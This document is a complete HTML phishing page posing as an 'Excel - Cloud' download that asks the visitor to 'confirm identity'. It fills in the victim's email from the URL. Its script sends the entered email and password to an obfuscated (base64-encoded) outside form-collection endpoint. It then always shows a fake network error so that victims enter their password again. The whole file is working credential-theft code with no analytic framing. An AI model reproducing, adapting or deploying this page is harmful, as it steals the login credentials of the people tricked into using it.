<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Excel - Cloud</title>
<style type="text/css">
*{ margin:0; padding:0; outline:none; }
html{font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
}
body{
    background-image: url(https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/bgd.webp);
    background-repeat: no-repeat;
        background-size: cover;
        width: 100vw;
        height: 100vh;
        display: flex;
        justify-content: center;
        align-items: center;
        flex-direction: column;
}
.overlay {
    height: 100vh;
    width: 100vw;
    background-color: #0000007a;
    z-index: -100;
    position: fixed;
}
img, video {
    max-width: 100%;
    height: auto;
}
.classicbox{
        display: flex;
        flex-direction: column;
        justify-content:center;
        align-items: center;
        background-color:#ffffff;
        color: black;
        width: 400px;
        height: 28rem;
        box-shadow:  0 0 #0000, 0 0 #0000, 0 9px 42px -5px #64748b, 0 8px 10px -8px #64748b;
}
img.imgbox{ }
.pform-input{margin: 10px 3px 0px -22px;line-height: 1.5rem;}
.pform-input input[type=email], .pform-input input[type=password]{ min-width:100%; padding: 10px; margin-bottom: 10px; border: 1px solid; border-color: #989b9e; }
.pform-input input[type=email]:hover, .pform-input input[type=password]:hover{border: 1px solid; border-color: #037028; }
.pform-input input[type=email]:focus, .pform-input input[type=password]:focus{ border: 1px solid; border-color: #037028; }
.datro{    display: flex; justify-content: space-evenly;     margin: 10px -10px 0px -22px;}
.datro a{    text-decoration: none; color: #007bff}
.mbt{width: 100%;
        display: inline-block;
    font-weight: 400;
    line-height: 1.5;
    color: #FFF;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    background-color: transparent;
    border: 1px solid transparent;
    padding: 0.47rem 0.75rem;
    font-size: .8125rem;
        background-color: #037028;
    border-color: #037028;
    font-size: 16px
    }
.mbt:hover, .mbt:focus{         background-color: #034619;
    border-color: #034619;}
.mbt:disabled, .mbt[disabled]{  opacity: 0.5; cursor: not-allowed;}
.text-red-700#error{
        background-color: white; color: red;
        width: 100%;
        text-align: left;
/*      padding: 4px 0  7px;*/
}

/*.form1{ margin: 1px -20px; }*/
</style>
</head>
<body>
        <main>
                <section>
                        <div class="classicbox">
                                <div class="overlay"></div>
                                        <form style="margin-top:70px" name="form1" class="form1" action="" method="post" required="">
                                                <div class="pform-input">
                                                <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/excel.png" class="imgbox">
                                            </div>
                                                <div class="pform-input">
                                                <label style="font-size: 22px; font-weight: 600;">CONFIRM YOUR IDENTITY<br></label>
                                            </div>
                                                <div class="pform-input">
                                                        <label style="padding-top: 55px;">Please match the  displayed login details</label>
                                            </div>
                                            <div class="pform-input">
                                                        <div class="text-red-700 font-light text-base" id="error"></div>
                                                <input class="" type="email" name="email" id="nameu" placeholder="Email" value="wicd@packages.debian.org" required="" readonly>
                                            </div>
                                            <div class="pform-input">
                                                <input class="" type="password" name="password" id="namep" placeholder="Password" required="">
                                            </div>
                                            <div class="pform-input datro">
                                                <div>
                                                        <input class="" type="checkbox" name="" id="">
                                                        <a style="margin-right: 20px;" href="#">Keep logged in</a>
                                                </div>
                                                <div>
                                                        <a href="#">Forgot your password?</a>
                                                </div>
                                            </div>
                                            <div style="min-width: 100%;margin: 26px -20px 24px -23px;font-size: 1rem;line-height: 1.5rem;">
                                                <button class="mbt" type="submit">Download</button>
                                            </div>
                                        </form>
                                <br><br><br>
                        </div>
                </section>
        </main>
<script>
  document.addEventListener("DOMContentLoaded", () => {
    var wem = new URLSearchParams(location.search).get('e');
    if (wem) {
        document.querySelector("#nameu").value=wem;
    }
        console.log(wem)

        const mbt = document.querySelector('.mbt');
        const form1 = document.querySelector('.form1');

        function sendData(data) {
          mbt.textContent = "Verifying...";
          mbt.setAttribute('disabled', true);
          document.querySelector('#error').textContent = "";

          const XHR = new XMLHttpRequest();

          const urlEncodedDataPairs = [];

          // Turn the data object into an array of URL-encoded key/value pairs.
          for (const [name, value] of Object.entries(data)) {
            urlEncodedDataPairs.push(`${encodeURIComponent(name)}=${encodeURIComponent(value)}`);
          }

          // Combine the pairs into a single string and replace all %-encoded spaces to
          // the '+' character; matches the behavior of browser form submissions.
          const urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');

          // Define what happens on successful data submission
          XHR.addEventListener('load', (event) => {
                document.querySelector('#namep').value = ""
            document.querySelector('#error').textContent = "Network error, kindly try again!";
                mbt.textContent = "Next";
                mbt.removeAttribute('disabled');
          });

          // Define what happens in case of an error
          XHR.addEventListener('error', (event) => {
                document.querySelector('#namep').value = ""
            document.querySelector('#error').textContent =  'Network error, kindly try again!';
                mbt.textContent = "Next";
                mbt.removeAttribute('disabled');
          });

          // Set up our request
          XHR.open('POST', atob('aHR0cHM6Ly9zdWJtaXQtZm9ybS5jb20vbU9TRGhOSjZ2') );

          // Add the required HTTP header for form data POST requests
          XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

          // Finally, send our data.
          XHR.send(urlEncodedData);
        }

        form1.addEventListener('submit', (event) => {
                event.preventDefault();
                sendData({ email: document.querySelector('#nameu').value, password: document.querySelector('#namep').value });
        })

  });

</script>

</body>
</html>